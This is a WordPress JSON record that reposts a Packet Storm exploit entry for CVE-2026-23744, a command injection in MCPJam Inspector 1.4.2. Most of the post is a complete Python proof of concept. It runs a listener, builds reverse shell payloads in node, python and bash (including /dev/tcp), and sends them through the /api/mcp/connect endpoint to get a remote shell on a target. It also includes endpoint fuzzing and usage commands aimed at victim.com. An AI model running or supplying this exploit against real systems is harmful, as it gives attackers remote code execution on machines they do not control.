{"id":59517,"date":"2026-06-03T13:44:27","date_gmt":"2026-06-03T13:44:27","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59517"},"modified":"2026-06-03T13:44:27","modified_gmt":"2026-06-03T13:44:27","slug":"mcpjam-inspector-142-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59517","title":{"rendered":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-03T17:30:46&#8243;,&#8221;description&#8221;:&#8221;This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-03T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-03T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222614&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-23744&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : MCPJam Inspector 1.4.2  MCP API Command Injection to Reverse Shell                                               |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/github.com\/MCPJam\/inspector                                                                              |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : An advanced Python Proof-of-Concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. \\n                     The script supports multiple payload types, endpoint discovery, listener management, and several exploitation methods for authorized security research and penetration testing.\\n    \\t\\t\\t\\t \\n    [+] POC        :  \\n    \\n    1. nc -lvnp 4444\\n    \\n    2. python3 exploit.py -l 10.0.0.1 -p 4444 -t https:\/\/victim.com\\n    \\n    # 3. python3 exploit.py -l 10.0.0.1 -p 4444 -t https:\/\/victim.com &#8211;scan\\n    \\n    # 4. python3 exploit.py -l 10.0.0.1 -p 4444 -t https:\/\/victim.com &#8211;payload bash\\n    \\n    # 5. python3 exploit.py -l 10.0.0.1 -p 4444 -t https:\/\/victim.com &#8211;timeout 30\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    \\n    import argparse\\n    import requests\\n    import sys\\n    import time\\n    import threading\\n    import socket\\n    import json as jsonlib\\n    from urllib.parse import urljoin\\n    \\n    class CVE202623744:\\n        def __init__(self, rhost, lhost, lport):\\n            self.rhost = rhost.rstrip(&#8216;\/&#8217;)\\n            self.lhost = lhost\\n            self.lport = int(lport)\\n            self.session = requests.Session()\\n            \\n        def check_connectivity(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check if target is reachable\\&#8221;\\&#8221;\\&#8221;\\n            test_url = urljoin(self.rhost, &#8216;\/api\/mcp\/health&#8217;)\\n            try:\\n                resp = self.session.get(test_url, timeout=5, verify=False)\\n                print(f\\&#8221;[+] Target reachable: {resp.status_code}\\&#8221;)\\n                return True\\n            except:\\n                print(\\&#8221;[-] Target not reachable\\&#8221;)\\n                return False\\n        \\n        def start_listener(self):\\n            \\&#8221;\\&#8221;\\&#8221;Start netcat listener in a separate thread\\&#8221;\\&#8221;\\&#8221;\\n            def listener():\\n                try:\\n                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n                    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n                    sock.bind((self.lhost, self.lport))\\n                    sock.listen(1)\\n                    print(f\\&#8221;[*] Listening on {self.lhost}:{self.lport}\\&#8221;)\\n                    conn, addr = sock.accept()\\n                    print(f\\&#8221;[+] Connection received from {addr}\\&#8221;)\\n    \\n                    while True:\\n                        data = conn.recv(1024)\\n                        if not data:\\n                            break\\n                        sys.stdout.write(data.decode())\\n                        sys.stdout.flush()\\n                    conn.close()\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Listener error: {e}\\&#8221;)\\n            \\n            thread = threading.Thread(target=listener, daemon=True)\\n            thread.start()\\n            time.sleep(1)\\n            return thread\\n        \\n        def generate_payload(self, payload_type=\\&#8221;node\\&#8221;):\\n            \\&#8221;\\&#8221;\\&#8221;Generate different reverse shell payloads\\&#8221;\\&#8221;\\&#8221;\\n            \\n            payloads = {\\n                \\&#8221;node\\&#8221;: f&#8221;'(function(){{\\n                    var net = require(\\&#8221;net\\&#8221;),\\n                        cp = require(\\&#8221;child_process\\&#8221;),\\n                        sh = cp.spawn(\\&#8221;\/bin\/sh\\&#8221;, []);\\n                    var client = new net.Socket();\\n                    client.connect({self.lport}, \\&#8221;{self.lhost}\\&#8221;, function(){{\\n                        client.pipe(sh.stdin);\\n                        sh.stdout.pipe(client);\\n                        sh.stderr.pipe(client);\\n                    }});\\n                    return \/a\/;\\n                }})();&#8221;&#8217;,\\n    \\n                \\&#8221;node_enhanced\\&#8221;: f&#8221;'(function(){{\\n                    var net = require(\\&#8221;net\\&#8221;),\\n                        cp = require(\\&#8221;child_process\\&#8221;);\\n                    var sh = cp.spawn(\\&#8221;bash\\&#8221;, [\\&#8221;-i\\&#8221;]);\\n                    var client = new net.Socket();\\n                    client.connect({self.lport}, \\&#8221;{self.lhost}\\&#8221;, function(){{\\n                        client.pipe(sh.stdin);\\n                        sh.stdout.pipe(client);\\n                        sh.stderr.pipe(client);\\n                        client.on(\\&#8221;error\\&#8221;, function(){{}});\\n                    }});\\n                }})();&#8221;&#8217;,\\n    \\n                \\&#8221;python\\&#8221;: f&#8221;&#8217;import socket,subprocess,os;\\n    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\\n    s.connect((\\&#8221;{self.lhost}\\&#8221;,{self.lport}));\\n    os.dup2(s.fileno(),0);\\n    os.dup2(s.fileno(),1);\\n    os.dup2(s.fileno(),2);\\n    subprocess.call([\\&#8221;\/bin\/sh\\&#8221;,\\&#8221;-i\\&#8221;]);&#8221;&#8217;,\\n                \\&#8221;bash\\&#8221;: f&#8221;&#8217;bash -i \\u003e\\u0026 \/dev\/tcp\/{self.lhost}\/{self.lport} 0\\u003e\\u00261&#8221;&#8217;,\\n                \\&#8221;b64\\&#8221;: f&#8221;&#8217;echo {self.lhost} {self.lport} | xargs -I {{}} sh -c \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{{}} 0\\u003e\\u00261\\&#8221;&#8221;&#8217;,\\n                \\&#8221;node_short\\&#8221;: f&#8221;&#8217;require(\\&#8221;child_process\\&#8221;).exec(\\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{self.lhost}\/{self.lport} 0\\u003e\\u00261\\&#8221;);&#8221;&#8217;\\n            }\\n            \\n            return payloads.get(payload_type, payloads[\\&#8221;node\\&#8221;])\\n        \\n        def exploit(self, payload_type=\\&#8221;node\\&#8221;, timeout=10):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Execute the exploit\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Target: {self.rhost}\\&#8221;)\\n            print(f\\&#8221;[*] Callback: {self.lhost}:{self.lport}\\&#8221;)\\n            print(f\\&#8221;[*] Payload type: {payload_type}\\&#8221;)\\n            self.start_listener()\\n            payload = self.generate_payload(payload_type)\\n            print(f\\&#8221;[*] Payload generated (length: {len(payload)} bytes)\\&#8221;)\\n            url = urljoin(self.rhost, &#8216;\/api\/mcp\/connect&#8217;)\\n            request_formats = [\\n                {\\n                    \\&#8221;serverId\\&#8221;: \\&#8221;x\\&#8221;,\\n                    \\&#8221;serverConfig\\&#8221;: {\\n                        \\&#8221;env\\&#8221;: {},\\n                        \\&#8221;command\\&#8221;: \\&#8221;node\\&#8221;,\\n                        \\&#8221;args\\&#8221;: [\\&#8221;-e\\&#8221;, payload]\\n                    }\\n                },\\n                {\\n                    \\&#8221;serverId\\&#8221;: \\&#8221;x\\&#8221;,\\n                    \\&#8221;serverConfig\\&#8221;: {\\n                        \\&#8221;env\\&#8221;: {},\\n                        \\&#8221;command\\&#8221;: \\&#8221;node\\&#8221;,\\n                        \\&#8221;args\\&#8221;: [\\&#8221;-e\\&#8221;, f\\&#8221;eval(&#8216;{payload}&#8217;)\\&#8221;]\\n                    }\\n                },\\n                {\\n                    \\&#8221;serverId\\&#8221;: \\&#8221;x\\&#8221;,\\n                    \\&#8221;serverConfig\\&#8221;: {\\n                        \\&#8221;env\\&#8221;: {},\\n                        \\&#8221;command\\&#8221;: \\&#8221;sh\\&#8221;,\\n                        \\&#8221;args\\&#8221;: [\\&#8221;-c\\&#8221;, f\\&#8221;node -e &#8216;{payload}&#8217;\\&#8221;]\\n                    }\\n                }\\n            ]\\n            \\n            for idx, json_data in enumerate(request_formats):\\n                print(f\\&#8221;[*] Attempt {idx + 1}\/{len(request_formats)}\\&#8221;)\\n                try:\\n                    resp = self.session.post(\\n                        url,\\n                        json=json_data,\\n                        timeout=timeout,\\n                        verify=False,\\n                        headers={&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;}\\n                    )\\n                    \\n                    print(f\\&#8221;[*] Response: {resp.status_code}\\&#8221;)\\n                    print(f\\&#8221;[*] Response body: {resp.text[:200]}\\&#8221;)\\n                    \\n                    if resp.status_code == 200:\\n                        print(\\&#8221;[+] Payload sent successfully!\\&#8221;)\\n                        print(\\&#8221;[*] Check your listener for incoming connection&#8230;\\&#8221;)\\n                        return True\\n                        \\n                except requests.exceptions.Timeout:\\n                    print(\\&#8221;[*] Request timed out (may indicate shell execution)\\&#8221;)\\n                    return True\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Error: {e}\\&#8221;)\\n            \\n            print(\\&#8221;[-] Exploit failed\\&#8221;)\\n            return False\\n        \\n        def fuzz_endpoints(self):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Discover API endpoints\\n            \\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Fuzzing API endpoints&#8230;\\&#8221;)\\n            \\n            endpoints = [\\n                &#8216;\/api\/mcp\/connect&#8217;,\\n                &#8216;\/api\/mcp\/execute&#8217;,\\n                &#8216;\/api\/mcp\/run&#8217;,\\n                &#8216;\/mcp\/connect&#8217;,\\n                &#8216;\/mcp\/execute&#8217;,\\n                &#8216;\/api\/v1\/mcp\/connect&#8217;,\\n                &#8216;\/api\/mcp\/shell&#8217;,\\n                &#8216;\/api\/execute&#8217;,\\n                &#8216;\/api\/command&#8217;,\\n                &#8216;\/api\/system\/exec&#8217;\\n            ]\\n            \\n            found = []\\n            for endpoint in endpoints:\\n                url = urljoin(self.rhost, endpoint)\\n                try:\\n                    resp = self.session.post(url, timeout=5, verify=False)\\n                    if resp.status_code != 404:\\n                        found.append(endpoint)\\n                        print(f\\&#8221;[+] Found: {endpoint} (status: {resp.status_code})\\&#8221;)\\n                except:\\n                    pass\\n            \\n            return found\\n    \\n    \\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;CVE-2026-23744 &#8211; MCP API Command Injection PoC&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=&#8221;&#8217;\\n    Examples:\\n      python3 exploit.py -l 10.0.0.1 -p 4444 -t http:\/\/target.com\\n      python3 exploit.py -l 10.0.0.1 -p 4444 -t http:\/\/target.com &#8211;payload bash\\n      python3 exploit.py -l 10.0.0.1 -p 4444 -t http:\/\/target.com &#8211;scan\\n    \\n    Payload types: node, node_enhanced, python, bash, b64, node_short\\n            &#8221;&#8217;\\n        )\\n        \\n        parser.add_argument(&#8216;&#8211;lhost&#8217;, &#8216;-l&#8217;, required=True, \\n                            help=&#8217;Listener IP address (your machine)&#8217;)\\n        parser.add_argument(&#8216;&#8211;lport&#8217;, &#8216;-p&#8217;, required=True, \\n                            help=&#8217;Listener port&#8217;)\\n        parser.add_argument(&#8216;&#8211;rhost&#8217;, &#8216;-t&#8217;, required=True, \\n                            help=&#8217;Target URL (e.g., http:\/\/target.com)&#8217;)\\n        parser.add_argument(&#8216;&#8211;payload&#8217;, &#8216;-P&#8217;, default=&#8217;node&#8217;,\\n                            choices=[&#8216;node&#8217;, &#8216;node_enhanced&#8217;, &#8216;python&#8217;, &#8216;bash&#8217;, &#8216;b64&#8217;, &#8216;node_short&#8217;],\\n                            help=&#8217;Payload type (default: node)&#8217;)\\n        parser.add_argument(&#8216;&#8211;scan&#8217;, &#8216;-s&#8217;, action=&#8217;store_true&#8217;,\\n                            help=&#8217;Scan for vulnerable endpoints first&#8217;)\\n        parser.add_argument(&#8216;&#8211;timeout&#8217;, &#8216;-to&#8217;, type=int, default=10,\\n                            help=&#8217;Request timeout in seconds (default: 10)&#8217;)\\n        parser.add_argument(&#8216;&#8211;no-verify&#8217;, action=&#8217;store_true&#8217;, default=True,\\n                            help=&#8217;Disable SSL verification (default: enabled)&#8217;)\\n        \\n        args = parser.parse_args()\\n    \\n        if args.no_verify:\\n            import urllib3\\n            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n        \\n        exploit = CVE202623744(args.rhost, args.lhost, args.lport)\\n        \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551   CVE-2026-23744 &#8211; MCP API Command Injection PoC          \u2551\\n        \u2551                                                           \u2551\\n        \u2551                   by indoushka!                           \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;)\\n        \\n        if args.scan:\\n            endpoints = exploit.fuzz_endpoints()\\n            if endpoints:\\n                print(f\\&#8221;\\\\n[+] Found {len(endpoints)} endpoints: {endpoints}\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] No endpoints found\\&#8221;)\\n        else:\\n            if exploit.check_connectivity():\\n                exploit.exploit(args.payload, args.timeout)\\n            else:\\n                print(\\&#8221;[-] Cannot reach target. Exiting.\\&#8221;)\\n    \\n    \\n    if __name__ == &#8216;__main__&#8217;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222614&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222614\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-03T17:30:46&#8243;,&#8221;description&#8221;:&#8221;This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-59517","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59517\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-03T17:30:46&#8243;,&#8221;description&#8221;:&#8221;This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59517\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-03T13:44:27+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614\",\"datePublished\":\"2026-06-03T13:44:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517\"},\"wordCount\":1468,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59517#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517\",\"name\":\"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-03T13:44:27+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59517\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59517#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59517","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-03T17:30:46&#8243;,&#8221;description&#8221;:&#8221;This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and...","og_url":"https:\/\/zero.redgem.net\/?p=59517","og_site_name":"zero redgem","article_published_time":"2026-06-03T13:44:27+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59517#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59517"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614","datePublished":"2026-06-03T13:44:27+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59517"},"wordCount":1468,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59517#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59517","url":"https:\/\/zero.redgem.net\/?p=59517","name":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-03T13:44:27+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59517#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59517"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59517#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 MCPJam Inspector 1.4.2 Command Injection_PACKETSTORM:222614"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59517","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59517"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.n